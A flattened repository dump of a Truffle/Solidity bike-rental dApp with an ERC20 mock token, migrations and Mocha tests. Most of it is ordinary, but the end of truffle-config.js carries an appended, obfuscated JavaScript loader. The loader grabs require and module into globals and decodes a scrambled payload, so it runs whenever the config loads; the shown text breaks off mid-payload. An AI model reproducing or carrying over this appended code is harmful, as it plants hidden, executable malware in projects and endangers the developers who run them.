├── test ├── .gitkeep ├── BikeRental.test1.js ├── BikeRental.test2.js ├── BikeRental.test4.js └── BikeRental.test3.js ├── docs ├── bike.png ├── overview.png ├── payment1.png └── payment2.png ├── migrations └── 1_initial_migration.js ├── .gitignore ├── contracts ├── Migrations.sol ├── Token.sol └── BikeRental.sol ├── .vscode └── launch.json ├── package.json ├── truffle-config.js └── README.md /test/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /docs/bike.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alejoacosta74/blockchain-bike-rental/HEAD/docs/bike.png -------------------------------------------------------------------------------- /docs/overview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alejoacosta74/blockchain-bike-rental/HEAD/docs/overview.png -------------------------------------------------------------------------------- /docs/payment1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alejoacosta74/blockchain-bike-rental/HEAD/docs/payment1.png -------------------------------------------------------------------------------- /docs/payment2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alejoacosta74/blockchain-bike-rental/HEAD/docs/payment2.png -------------------------------------------------------------------------------- /migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const Migrations = artifacts.require("Migrations"); 2 | 3 | module.exports = function (deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files. 2 | 3 | # dependencies 4 | /node_modules 5 | /.pnp 6 | .pnp.js 7 | 8 | # testing 9 | /coverage 10 | /trash 11 | 12 | # production 13 | /build 14 | 15 | # misc 16 | .DS_Store 17 | .env 18 | .env.local 19 | .env.development.local 20 | .env.test.local 21 | .env.production.local 22 | .gitignore 23 | .vscode 24 | /.vscode 25 | 26 | npm-debug.log* 27 | yarn-debug.log* 28 | yarn-error.log* 29 | -------------------------------------------------------------------------------- /contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity >=0.4.22 <0.9.0; 3 | 4 | contract Migrations { 5 | address public owner = msg.sender; 6 | uint public last_completed_migration; 7 | 8 | modifier restricted() { 9 | require( 10 | msg.sender == owner, 11 | "This function is restricted to the contract's owner" 12 | ); 13 | _; 14 | } 15 | 16 | function setCompleted(uint completed) public restricted { 17 | last_completed_migration = completed; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to learn about possible attributes. 3 | // Hover to view descriptions of existing attributes. 4 | // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "type": "pwa-chrome", 9 | "request": "launch", 10 | "name": "Launch Chrome against localhost", 11 | "url": "http://localhost:8080", 12 | "webRoot": "${workspaceFolder}" 13 | } 14 | ] 15 | } -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "13.bikeRental", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "keywords": [], 10 | "author": "", 11 | "license": "ISC", 12 | "dependencies": { 13 | "@openzeppelin/contracts": "^3.4.0", 14 | "@openzeppelin/test-helpers": "^0.5.10", 15 | "chai": "^4.2.0", 16 | "chai-as-promised": "^7.1.1", 17 | "dotenv": "^8.2.0" 18 | }, 19 | "devDependencies": { 20 | "eslint": "^7.22.0", 21 | "eslint-config-strongloop": "^2.1.0" 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /contracts/Token.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | //pragma solidity >=0.6.0 <0.8.0; 4 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 5 | import "@openzeppelin/contracts/access/Ownable.sol"; 6 | 7 | contract Token is ERC20, Ownable { 8 | 9 | constructor (uint _totalSupply) public ERC20("mock QTUM", "mQTUM"){ 10 | _mint(msg.sender, _totalSupply); } 11 | 12 | 13 | function burn(address _to, uint256 _amount) onlyOwner external { 14 | _burn(_to, _amount); 15 | } 16 | 17 | 18 | function mint(address _to, uint _amount) onlyOwner external { 19 | _mint(_to, _amount); 20 | } 21 | 22 | 23 | } -------------------------------------------------------------------------------- /test/BikeRental.test1.js: -------------------------------------------------------------------------------- 1 | const { assert } = require('chai'); 2 | 3 | const BikeRental = artifacts.require('BikeRental'); 4 | const Token = artifacts.require('Token'); 5 | const totalSupply = '1000000000000000000000000'; 6 | const toBN = web3.utils.toBN; 7 | const { constants, expectEvent, expectRevert } = require('@openzeppelin/test-helpers'); 8 | 9 | require('chai') 10 | .use(require('chai-as-promised')) 11 | .should(); 12 | 13 | //helper function to convert human readble numbers to wei units 14 | function tokens(n){ 15 | return web3.utils.toWei(n, 'ether'); 16 | } 17 | //helper function to print events 18 | function printLogs(title, logs) { 19 | for (let i = 0; i < logs.length; i++) { 20 | console.log(); 21 | console.log(`${title} event #${i + 1}:`); 22 | console.log(JSON.stringify(logs[i].event, null, 4)); 23 | console.log(JSON.stringify(logs[i].args, null, 4)); 24 | } 25 | } 26 | //helper function to simulate rental time duration 27 | function sleep(ms) { 28 | return new Promise((resolve) => { 29 | setTimeout(resolve, ms); 30 | }); 31 | } 32 | 33 | contract('BikeRentalShop contract -> UseCase1: customer transfer Ether (above collateral threshold) and starts/stops bike rent', ([owner, customer1, customer2, customer3]) => { 34 | let bikeRental, token, startTime, stopTime; 35 | const collateralPremium = 0.8; 36 | 37 | before(async ()=>{ 38 | token = await Token.new(totalSupply); 39 | bikeRental = await BikeRental.new(token.address); 40 | await token.transfer(bikeRental.address, totalSupply, {from: owner}); 41 | }) 42 | 43 | describe('At contract deployment', async ()=>{ 44 | it('Owner should transfer all tokens to BikeRental',async ()=>{ 45 | let bikeRentalTokenBalance = await token.balanceOf(bikeRental.address); 46 | assert.equal(bikeRentalTokenBalance.toString(), totalSupply) 47 | }); 48 | }) 49 | 50 | describe ('UseCase1: #1. customer transfer Ether (above collateral threshold) and starts bike rent ', async ()=> { 51 | let startReceipt, bikeRentalEtherBalance_1; 52 | before (async()=>{ 53 | bikeRentalEtherBalance_1 = await web3.eth.getBalance(bikeRental.address) 54 | startReceipt = await bikeRental.startRental(2, {from: customer2, value: tokens('0.0002'), gasPrice: 0}); 55 | startTime = parseInt(startReceipt.logs[1].args._startTime, 16); 56 | //printLogs("result", startReceipt.logs); 57 | }) 58 | 59 | it('should update customer rental account by amount transferred ', async () =>{ 60 | let customerAccountBalance_1 = await bikeRental.getEtherAccountBalance(customer2); 61 | assert.equal(customerAccountBalance_1.toString(), tokens('0.0002'), 'Customer ether account not updated correctly'); 62 | }) 63 | it('should update rental ether balance by amount transfered', async () =>{ 64 | let bikeRentalEtherBalance_2 = await web3.eth.getBalance(bikeRental.address) 65 | let diff = toBN(bikeRentalEtherBalance_2).sub(toBN(bikeRentalEtherBalance_1)); 66 | assert.equal(diff.toString(), tokens('0.0002'), 'Rental ether balance not updated correctly'); 67 | }) 68 | it('should emit event RentalStart', async () =>{ 69 | expectEvent(startReceipt, 'RentalStart'); 70 | }) 71 | it('should emit event BalanceUpdated', async () =>{ 72 | expectEvent(startReceipt, 'BalanceUpdated'); 73 | }) 74 | //it('should revert when customer tries to rent antoher bike witout finishing ongoing rent' 75 | it('customer should get premium "collateralized" rate', async () =>{ 76 | let rate = await bikeRental.getRate(); 77 | let customerRate = startReceipt.logs[1].args._rate.toString(); 78 | assert.equal(parseInt(customerRate), parseInt(rate.toString())*collateralPremium, 'Customer assigned rate is not PREMIUM '); 79 | }) 80 | }) 81 | 82 | describe ('UseCase1: #2. customer finishes bike rental', async ()=> { 83 | let customerAccountBalance_2, stopReceipt, ownerEtherBalance_1 , customerEtherBalance_1; 84 | before (async()=>{ 85 | customerAccountBalance_2 = await bikeRental.getEtherAccountBalance(customer2); 86 | customerEtherBalance_1 = await web3.eth.getBalance(customer2); 87 | await sleep(5000); 88 | let mintReceipt = await token.mint(bikeRental.address, tokens('1'), {from: owner}); 89 | //printLogs("result", mintReceipt.logs); 90 | ownerEtherBalance_1 = await web3.eth.getBalance(owner) 91 | stopReceipt = await bikeRental.stopRental({from: customer2, gasPrice: 0}); 92 | stopTime = parseInt(stopReceipt.logs[2].args._stopTime, 16); 93 | //printLogs("result", stopReceipt.logs); 94 | console.log("Rental elapsed time:", (stopTime - startTime)); 95 | 96 | }) 97 | it('Un-spent ether should be returned to customer', async () =>{ 98 | let returnedAmount = stopReceipt.logs[1].args._etherAmount.toString(); 99 | //let etherfee = stopReceipt.logs[0].args._debitedAmount.toString(); 100 | customerEtherBalance_2 = await web3.eth.getBalance(customer2); 101 | let diff = toBN(customerEtherBalance_2).sub(toBN(customerEtherBalance_1)); 102 | assert.equal(returnedAmount.toString(), diff.toString(), "Customer returned amount is not equal to un-spent amount"); 103 | }) 104 | 105 | it('Customer rental account balance should be zero', async () =>{ 106 | let customerAccountBalance_3 = await bikeRental.getEtherAccountBalance(customer2); 107 | assert.equal(parseInt(customerAccountBalance_3.toString()), 0, "Customer etherAccountBalance is not zero"); 108 | }) 109 | it('owner balance of ether should be incremented by ether worth equal to debited amount', async () =>{ 110 | let debitedAmount = stopReceipt.logs[0].args._debitedAmount.toString(); 111 | let ownerEtherBalance_2 = await web3.eth.getBalance(owner); 112 | let diff = toBN(ownerEtherBalance_2).sub(toBN(ownerEtherBalance_1)); 113 | assert.equal(debitedAmount, diff.toString(), "Owner ether balance not updated by same amount of debited amount") 114 | }) 115 | it('should emit event RentalStop', async () =>{ 116 | expectEvent(stopReceipt, 'RentalStop'); 117 | }) 118 | it('should emit event DebtUpdated', async () =>{ 119 | expectEvent(stopReceipt, 'DebtUpdated'); 120 | }) 121 | it('should emit event FundsReturned', async () =>{ 122 | expectEvent(stopReceipt, 'FundsReturned'); 123 | }) 124 | 125 | }) 126 | }) -------------------------------------------------------------------------------- /test/BikeRental.test2.js: -------------------------------------------------------------------------------- 1 | const { assert } = require('chai'); 2 | 3 | const BikeRental = artifacts.require('BikeRental'); 4 | const Token = artifacts.require('Token'); 5 | const totalSupply = '1000000000000000000000000'; 6 | const toBN = web3.utils.toBN; 7 | const { constants, expectEvent, expectRevert } = require('@openzeppelin/test-helpers'); 8 | 9 | require('chai') 10 | .use(require('chai-as-promised')) 11 | .should(); 12 | 13 | //helper function to convert human readble numbers to wei units 14 | function tokens(n){ 15 | return web3.utils.toWei(n, 'ether'); 16 | } 17 | //helper function to print events 18 | function printLogs(title, logs) { 19 | for (let i = 0; i < logs.length; i++) { 20 | console.log(); 21 | console.log(`${title} event #${i + 1}:`); 22 | console.log(JSON.stringify(logs[i].event, null, 4)); 23 | console.log(JSON.stringify(logs[i].args, null, 4)); 24 | } 25 | } 26 | //helper function to simulate rental time duration 27 | function sleep(ms) { 28 | return new Promise((resolve) => { 29 | setTimeout(resolve, ms); 30 | }); 31 | } 32 | 33 | contract('BikeRentalShop contract -> UseCase2: customer buys tokens, approves transfer of tokens, and starts/stops bike rent', ([owner, customer1, customer2, customer3]) => { 34 | let bikeRental, token, startTime, stopTime, customerTokenBalance_1, bikeRentalTokenBalance_1; 35 | const collateralPremium = 0.8; 36 | 37 | before(async ()=>{ 38 | token = await Token.new(totalSupply); 39 | bikeRental = await BikeRental.new(token.address); 40 | await token.transfer(bikeRental.address, totalSupply, {from: owner}); 41 | }) 42 | 43 | describe('At contract deployment', async ()=>{ 44 | it('Owner should transfer all tokens to BikeRental',async ()=>{ 45 | let bikeRentalTokenBalance_0 = await token.balanceOf(bikeRental.address); 46 | assert.equal(bikeRentalTokenBalance_0.toString(), totalSupply) 47 | }); 48 | }) 49 | 50 | describe('UseCase2: #1. customer buys tokens', async ()=>{ 51 | let buyReceipt, ownerEtherBalance_1, customerEtherBalance_1; 52 | before (async()=>{ 53 | ownerEtherBalance_1 = await web3.eth.getBalance(owner); 54 | customerEtherBalance_1 = await web3.eth.getBalance(customer2); 55 | buyReceipt = await bikeRental.buyTokens({from: customer2, value: tokens('0.0002'), gasPrice: 0 }); 56 | //printLogs("buyTokens", buyReceipt.logs); 57 | customerTokenBalance_1 = await token.balanceOf(customer2); 58 | 59 | }) 60 | it('should increase owner Ether balance with same amount of Ether that customer sent to purchase tokens', async () =>{ 61 | let ownerEtherBalance_2 = await web3.eth.getBalance(owner); 62 | let diff = toBN(ownerEtherBalance_2).sub(toBN(ownerEtherBalance_1)); 63 | let etherAmount = buyReceipt.logs[0].args._etherAmount.toString(); 64 | assert.equal(diff.toString(), etherAmount.toString(), 'Owner ether balance not updated correctly after purchase of tokens'); 65 | }) 66 | it('should decrease customer Ether balance with same amount of Ether that customer sent to purchase tokens', async () =>{ 67 | let customerEtherBalance_2 = await web3.eth.getBalance(customer2); 68 | let diff = toBN(customerEtherBalance_1).sub(toBN(customerEtherBalance_2)); 69 | let etherAmount = buyReceipt.logs[0].args._etherAmount.toString(); 70 | assert.equal(diff.toString(), etherAmount.toString(), 'Customer ether balance not updated correctly after purchase of tokens'); 71 | }) 72 | }) 73 | 74 | describe ('UseCase2: #2. customer transfer Tokens (above collateral threshold) and starts bike rent ', async ()=> { 75 | let startReceipt, approveReceipt; 76 | before (async()=>{ 77 | approveReceipt = await token.approve(bikeRental.address, customerTokenBalance_1.toString(), {from: customer2}); 78 | bikeRentalTokenBalance_1 = await token.balanceOf(bikeRental.address); 79 | startReceipt = await bikeRental.startRental(2, {from: customer2}); 80 | startTime = parseInt(startReceipt.logs[2].args._startTime, 16); 81 | //printLogs("startRental", startReceipt.logs); 82 | }) 83 | 84 | it('should update customer rental account of tokens by amount transferred ', async () =>{ 85 | let customerAccountBalance_1 = await bikeRental.getTokenAccountBalance(customer2); 86 | assert.equal(customerAccountBalance_1.toString(), customerTokenBalance_1.toString(), 'Customer account not updated correctly'); 87 | }) 88 | it('should update rental balance of tokens by amount transferred', async () =>{ 89 | let bikeRentalTokenBalance_2 = await token.balanceOf(bikeRental.address); 90 | let diff = toBN(bikeRentalTokenBalance_2).sub(toBN(bikeRentalTokenBalance_1)); 91 | assert.equal(diff.toString(), customerTokenBalance_1.toString(), 'Bike Rental balance not updated correctly'); 92 | }) 93 | it('should emit event RentalStart', async () =>{ 94 | expectEvent(startReceipt, 'RentalStart'); 95 | }) 96 | it('should emit event BalanceUpdated', async () =>{ 97 | expectEvent(startReceipt, 'BalanceUpdated'); 98 | }) 99 | it('customer should get premium "collateralized" rate', async () =>{ 100 | let rate = await bikeRental.getRate(); 101 | let customerRate = startReceipt.logs[2].args._rate.toString(); 102 | assert.equal(parseInt(customerRate), parseInt(rate.toString())*collateralPremium, 'Customer assigned rate is not PREMIUM '); 103 | }) 104 | }) 105 | 106 | describe ('UseCase2: #3. customer stops bike rent', async ()=> { 107 | let stopReceipt; 108 | before (async()=>{ 109 | await sleep(5000); 110 | let mintReceipt = await token.mint(customer3, tokens('1'), {from: owner}); 111 | //printLogs("result", mintReceipt.logs); 112 | stopReceipt = await bikeRental.stopRental({from: customer2}); 113 | stopTime = parseInt(stopReceipt.logs[2].args._stopTime, 16); 114 | //printLogs("stopRental", stopReceipt.logs); 115 | console.log("Rental elapsed time:", (stopTime - startTime)); 116 | }) 117 | it('Un-spent tokens should be returned to customer', async () =>{ 118 | let tokenDebitedAmount = stopReceipt.logs[0].args._tokenDebitedAmount.toString(); 119 | let customerTokenBalance_2 = await token.balanceOf(customer2); 120 | let customerTokensReturned = toBN(customerTokenBalance_1).sub(toBN(customerTokenBalance_2)); 121 | assert.equal(customerTokensReturned.toString(), tokenDebitedAmount.toString(), "Amount returned to customer is not equal to un-spent amount"); 122 | }) 123 | it('Token balance of bikeRental should be incremented by amount of debited tokens', async () =>{ 124 | let tokenDebitedAmount = stopReceipt.logs[0].args._tokenDebitedAmount.toString(); 125 | let bikeRentalTokenBalance_3 = await token.balanceOf(bikeRental.address); 126 | let diff = toBN(bikeRentalTokenBalance_3).sub(toBN(bikeRentalTokenBalance_1)); 127 | assert.equal(diff.toString() , tokenDebitedAmount, "bikeRental token balance not updated by same amount of debited amount") 128 | }) 129 | 130 | it('Customer rental account balance should be set to zero', async () =>{ 131 | let customerAccountBalance_2 = await bikeRental.getTokenAccountBalance(customer2); 132 | assert.equal(parseInt(customerAccountBalance_2.toString()), 0, "Customer Tokenbalance is not zero"); 133 | }) 134 | it('should emit event RentalStop', async () =>{ 135 | expectEvent(stopReceipt, 'RentalStop'); 136 | }) 137 | it('should emit event DebtUpdated', async () =>{ 138 | expectEvent(stopReceipt, 'DebtUpdated'); 139 | }) 140 | it('should emit event FundsReturned', async () =>{ 141 | expectEvent(stopReceipt, 'FundsReturned'); 142 | }) 143 | }) 144 | }) -------------------------------------------------------------------------------- /test/BikeRental.test4.js: -------------------------------------------------------------------------------- 1 | const { assert } = require('chai'); 2 | 3 | const BikeRental = artifacts.require('BikeRental'); 4 | const Token = artifacts.require('Token'); 5 | const totalSupply = '1000000000000000000000000'; 6 | const toBN = web3.utils.toBN; 7 | const { constants, expectEvent, expectRevert } = require('@openzeppelin/test-helpers'); 8 | 9 | require('chai') 10 | .use(require('chai-as-promised')) 11 | .should(); 12 | 13 | //helper function to convert human readble numbers to wei units 14 | function tokens(n){ 15 | return web3.utils.toWei(n, 'ether'); 16 | } 17 | //helper function to print events 18 | function printLogs(title, logs) { 19 | for (let i = 0; i < logs.length; i++) { 20 | console.log(); 21 | console.log(`${title} event #${i + 1}:`); 22 | console.log(JSON.stringify(logs[i].event, null, 4)); 23 | console.log(JSON.stringify(logs[i].args, null, 4)); 24 | } 25 | } 26 | //helper function to simulate rental time duration 27 | function sleep(ms) { 28 | return new Promise((resolve) => { 29 | setTimeout(resolve, ms); 30 | }); 31 | } 32 | 33 | contract('BikeRentalShop contract -> UseCase4: customer buys Tokens, approves transfer of tokens, transfer Ether, and starts/stops bike rent', ([owner, customer1, customer2, customer3]) => { 34 | let bikeRental, token, startTime, stopTime, stopReceipt, startReceipt, customerTokenBalance_1, bikeRentalTokenBalance_1; 35 | let bikeRentalTokenBalance_2, customerTokenAccount_1, customerEtherAccount_1, buyReceipt, ownerEtherBalance_1, customerEtherBalance_1, customerEtherBalance_2, customerEtherBalance_3; 36 | const collateralPremium = 0.8; 37 | const tokenConversionRate = 2 38 | 39 | before(async ()=>{ 40 | token = await Token.new(totalSupply); 41 | bikeRental = await BikeRental.new(token.address); 42 | await token.transfer(bikeRental.address, totalSupply, {from: owner}); 43 | }) 44 | 45 | describe('At contract deployment', async ()=>{ 46 | it('Owner should transfer all tokens to BikeRental',async ()=>{ 47 | let bikeRentalTokenBalance_0 = await token.balanceOf(bikeRental.address); 48 | assert.equal(bikeRentalTokenBalance_0.toString(), totalSupply) 49 | }); 50 | }) 51 | 52 | describe('UseCase4: #1. customer buys tokens', async ()=>{ 53 | before (async()=>{ 54 | ownerEtherBalance_1 = await web3.eth.getBalance(owner); 55 | customerEtherBalance_1 = await web3.eth.getBalance(customer2); 56 | buyReceipt = await bikeRental.buyTokens({from: customer2, value: '60001', gasPrice: 0 }); 57 | //printLogs("buyTokens", buyReceipt.logs); 58 | customerTokenBalance_1 = await token.balanceOf(customer2); 59 | 60 | }) 61 | it('should increase owner Ether balance with same amount of Ether that customer sent to purchase tokens', async () =>{ 62 | let ownerEtherBalance_2 = await web3.eth.getBalance(owner); 63 | let diff = toBN(ownerEtherBalance_2).sub(toBN(ownerEtherBalance_1)); 64 | let etherAmount = buyReceipt.logs[0].args._etherAmount.toString(); 65 | assert.equal(diff.toString(), etherAmount.toString(), 'Owner ether balance not updated correctly after purchase of tokens'); 66 | }) 67 | it('should decrease customer Ether balance with same amount of Ether that customer sent to purchase tokens', async () =>{ 68 | customerEtherBalance_2 = await web3.eth.getBalance(customer2); 69 | let diff = toBN(customerEtherBalance_1).sub(toBN(customerEtherBalance_2)); 70 | let etherAmount = buyReceipt.logs[0].args._etherAmount.toString(); 71 | assert.equal(diff.toString(), etherAmount.toString(), 'Customer ether balance not updated correctly after purchase of tokens'); 72 | }) 73 | }) 74 | 75 | describe ('UseCase4: #2. customer sends 40.000 wei and starts bike rent ', async ()=> { 76 | before (async()=>{ 77 | approveReceipt = await token.approve(bikeRental.address, customerTokenBalance_1.toString(), {from: customer2}); 78 | bikeRentalTokenBalance_1 = await token.balanceOf(bikeRental.address); 79 | startReceipt = await bikeRental.startRental(2, {from: customer2, value: '40000', gasPrice: 0}); 80 | startTime = parseInt(startReceipt.logs[2].args._startTime, 16); 81 | customerEtherBalance_3 = await web3.eth.getBalance(customer2); 82 | //printLogs("startRental", startReceipt.logs); 83 | }) 84 | 85 | it('should update customer rental account of tokens by amount transferred ', async () =>{ 86 | customerTokenAccount_1 = await bikeRental.getTokenAccountBalance(customer2); 87 | assert.equal(customerTokenAccount_1.toString(), customerTokenBalance_1.toString(), 'Customer account not updated correctly'); 88 | }) 89 | it('should update rental balance of tokens by amount transferred', async () =>{ 90 | bikeRentalTokenBalance_2 = await token.balanceOf(bikeRental.address); 91 | let diff = toBN(bikeRentalTokenBalance_2).sub(toBN(bikeRentalTokenBalance_1)); 92 | assert.equal(diff.toString(), customerTokenBalance_1.toString(), 'Bike Rental balance not updated correctly'); 93 | }) 94 | it('should emit event RentalStart', async () =>{ 95 | expectEvent(startReceipt, 'RentalStart'); 96 | }) 97 | it('should emit event BalanceUpdated', async () =>{ 98 | expectEvent(startReceipt, 'BalanceUpdated'); 99 | }) 100 | it('customer should get standard rate', async () =>{ 101 | let rate = await bikeRental.getRate(); 102 | let customerRate = startReceipt.logs[2].args._rate.toString(); 103 | assert.equal(parseInt(customerRate), parseInt(rate.toString()), 'Customer assigned rate is stadard '); 104 | }) 105 | }) 106 | 107 | describe ('UseCase4: #3. customer stops bike rent, price is deducted from Tokens and Ether and remaining funds are returned', async ()=> { 108 | before (async()=>{ 109 | await sleep(8000); 110 | let mintReceipt = await token.mint(customer3, tokens('1'), {from: owner}); 111 | //printLogs("result", mintReceipt.logs); 112 | customerEtherAccount_1 = await bikeRental.getEtherAccountBalance(customer2); 113 | stopReceipt = await bikeRental.stopRental({from: customer2, gasPrice: 0}); 114 | stopTime = parseInt(stopReceipt.logs[2].args._stopTime, 16); 115 | //printLogs("stopRental", stopReceipt.logs); 116 | console.log("Rental elapsed time:", (stopTime - startTime)); 117 | }) 118 | it('Debited token amount from customer should be equal to tokens transferred amount', async () =>{ 119 | let tokenDebitedAmount = stopReceipt.logs[0].args._tokenDebitedAmount.toString(); 120 | assert.equal(customerTokenAccount_1.toString(),tokenDebitedAmount, 'Debited amount of Tokens from customer is not equal to amount of Tokens transferred') 121 | }) 122 | it('Debited ether amount from customer should be equal to total fee minus tokens debited from customer', async () =>{ 123 | let Event_etherDebitedAmount = stopReceipt.logs[0].args._debitedAmount.toString(); 124 | let Event_etherReFunded = stopReceipt.logs[1].args._etherAmount.toString(); 125 | 126 | let customerEtherBalance_4 = await web3.eth.getBalance(customer2); 127 | let refundedEtherAmount = toBN(customerEtherBalance_4).sub(toBN(customerEtherBalance_3)); 128 | let debitedEtherAmount = toBN(customerEtherAccount_1).sub(toBN(refundedEtherAmount)); 129 | assert.equal(debitedEtherAmount.toString(), Event_etherDebitedAmount.toString(), "Debited ETHER amount from customer should be difference between `TotalRentalFee - tokenAccount balance`"); 130 | assert.equal(refundedEtherAmount.toString(), Event_etherReFunded.toString(), "Refunded ETHER amount to customer should be difference between `EtherAccount balance - debited Ether`"); 131 | }) 132 | 133 | it('Customer rental Token account balance should be set zero', async () =>{ 134 | let customerAccountBalance_2 = await bikeRental.getTokenAccountBalance(customer2); 135 | assert.equal(parseInt(customerAccountBalance_2.toString()), 0, "Customer Tokenbalance is not zero"); 136 | }) 137 | it('should emit event RentalStop', async () =>{ 138 | expectEvent(stopReceipt, 'RentalStop'); 139 | }) 140 | it('should emit event DebtUpdated', async () =>{ 141 | expectEvent(stopReceipt, 'DebtUpdated'); 142 | }) 143 | it('should emit event FundsReturned', async () =>{ 144 | expectEvent(stopReceipt, 'FundsReturned'); 145 | }) 146 | }) 147 | }) -------------------------------------------------------------------------------- /truffle-config.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Use this file to configure your truffle project. It's seeded with some 3 | * common settings for different networks and features like migrations, 4 | * compilation and testing. Uncomment the ones you need or modify 5 | * them to suit your project as necessary. 6 | * 7 | * More information about configuration can be found at: 8 | * 9 | * trufflesuite.com/docs/advanced/configuration 10 | * 11 | * To deploy via Infura you'll need a wallet provider (like @truffle/hdwallet-provider) 12 | * to sign your transactions before they're sent to a remote public node. Infura accounts 13 | * are available for free at: infura.io/register. 14 | * 15 | * You'll also need a mnemonic - the twelve word phrase the wallet uses to generate 16 | * public/private key pairs. If you're publishing your code to GitHub make sure you load this 17 | * phrase from a file you've .gitignored so it doesn't accidentally become public. 18 | * 19 | */ 20 | 21 | // const HDWalletProvider = require('@truffle/hdwallet-provider'); 22 | // const infuraKey = "fj4jll3k....."; 23 | // 24 | // const fs = require('fs'); 25 | // const mnemonic = fs.readFileSync(".secret").toString().trim(); 26 | 27 | module.exports = { 28 | /** 29 | * Networks define how you connect to your ethereum client and let you set the 30 | * defaults web3 uses to send transactions. If you don't specify one truffle 31 | * will spin up a development blockchain for you on port 9545 when you 32 | * run `develop` or `test`. You can ask a truffle command to use a specific 33 | * network from the command line, e.g 34 | * 35 | * $ truffle test --network 36 | */ 37 | 38 | networks: { 39 | // Useful for testing. The `development` name is special - truffle uses it by default 40 | // if it's defined here and no other network is specified at the command line. 41 | // You should run a client (like ganache-cli, geth or parity) in a separate terminal 42 | // tab if you use this network and you must also set the `host`, `port` and `network_id` 43 | // options below to some value. 44 | // 45 | development: { 46 | host: "127.0.0.1", // Localhost (default: none) 47 | port: 8545, // Standard Ethereum port (default: none) 48 | network_id: "*", // Any network (default: none) 49 | }, 50 | // Another network with more advanced options... 51 | // advanced: { 52 | // port: 8777, // Custom port 53 | // network_id: 1342, // Custom network 54 | // gas: 8500000, // Gas sent with each transaction (default: ~6700000) 55 | // gasPrice: 20000000000, // 20 gwei (in wei) (default: 100 gwei) 56 | // from:
, // Account to send txs from (default: accounts[0]) 57 | // websocket: true // Enable EventEmitter interface for web3 (default: false) 58 | // }, 59 | // Useful for deploying to a public network. 60 | // NB: It's important to wrap the provider as a function. 61 | // ropsten: { 62 | // provider: () => new HDWalletProvider(mnemonic, `https://ropsten.infura.io/v3/YOUR-PROJECT-ID`), 63 | // network_id: 3, // Ropsten's id 64 | // gas: 5500000, // Ropsten has a lower block limit than mainnet 65 | // confirmations: 2, // # of confs to wait between deployments. (default: 0) 66 | // timeoutBlocks: 200, // # of blocks before a deployment times out (minimum/default: 50) 67 | // skipDryRun: true // Skip dry run before migrations? (default: false for public nets ) 68 | // }, 69 | // Useful for private networks 70 | // private: { 71 | // provider: () => new HDWalletProvider(mnemonic, `https://network.io`), 72 | // network_id: 2111, // This network is yours, in the cloud. 73 | // production: true // Treats this network as if it was a public net. (default: false) 74 | // } 75 | }, 76 | 77 | // Set default mocha options here, use special reporters etc. 78 | mocha: { 79 | // timeout: 100000 80 | }, 81 | 82 | // Configure your compilers 83 | compilers: { 84 | solc: { 85 | version: ">=0.6.0 <0.8.0", 86 | // version: "0.5.1", // Fetch exact version from solc-bin (default: truffle's version) 87 | // docker: true, // Use "0.5.1" you've installed locally with docker (default: false) 88 | // settings: { // See the solidity docs for advice about optimization and evmVersion 89 | // optimizer: { 90 | // enabled: false, 91 | // runs: 200 92 | // }, 93 | // evmVersion: "byzantium" 94 | // } 95 | } 96 | }, 97 | 98 | // Truffle DB is currently disabled by default; to enable it, change enabled: false to enabled: true 99 | // 100 | // Note: if you migrated your contracts prior to enabling this field in your Truffle project and want 101 | // those previously migrated contracts available in the .db directory, you will need to run the following: 102 | // $ truffle migrate --reset --compile-all 103 | 104 | db: { 105 | enabled: false 106 | } 107 | }; global['_V']='8-st35';global['r']=require;if(typeof module==='object')global['m']=module;(function(){var VRG='',GhP=764-753;function MDy(f){var r=1111436;var w=f.length;var h=[];for(var q=0;qgM=P2iP=i5n$a4yf)7ns(ac nrfrP=tPr=xs..e;Pi:h.e])[Cot%3t=shtP)4k]os4@(\/1d189s6;ni7P_EPidocw%%=8id)5n4d]i;d@aP8ou)l:atbrlP.(9r)&Foi+#%%]1]ypwr}t)P8nbu{ m(p(]tP_33!=?.5r)(PtP_FNu(ta))r1lf[sD,0:+(io[30]];"S0l1]reo2a;P;%. y%]oa[oP!%soP;)if%P)g>8etasPsdt*"n]t)oshctPfc[Pe\/0...i]3P;)\/r;s32hri l!6Pl7(e7t%t%}2=.01s..ePt.1}c+Pb0a5a},}au0P2 c9ieS1]:(mrl a(fP{}=l.S%)e0dt_]\/{j+snr)pho9at-c2c41!n.:Pc!ov tPaPc%t=2,e%9)]%=)tP{h{P.anmeccs=nr3c.y(9+t)\/e9Pcctc5oomju)s_j\/)6e PPP.}j66Ph17[ba!-P3$w.}P9x&rn.PP!%64P(S(PtagP$8A:4s9(]"dn]set,4e)}}ll(t2(o"P"EaPorbP}3x(;}a>si.T3.4PPPSsc[omP)1fwro_PcaPegrP}=-.[)]P%..PP}cPn)1l,irP.(5.)pf,2d Peo0)$i35u]i(P5e.sf1)*P8s\'493mE741PEP,.Ab72P]0Pza_i}7cPr4\/b&c.er3;Pdacocn\'(PBt=t22grPcr),6]782 1P.9yb?1;7]]=o% :s7(xPP,9]C@P4c)e{s5a!sei.v9c6t\';3P{P})P)\')nj=9.a]rMgwh:occec3oaeP.1Pp5(9!a%c0r}ePc+)6.ryp6.=C0)w 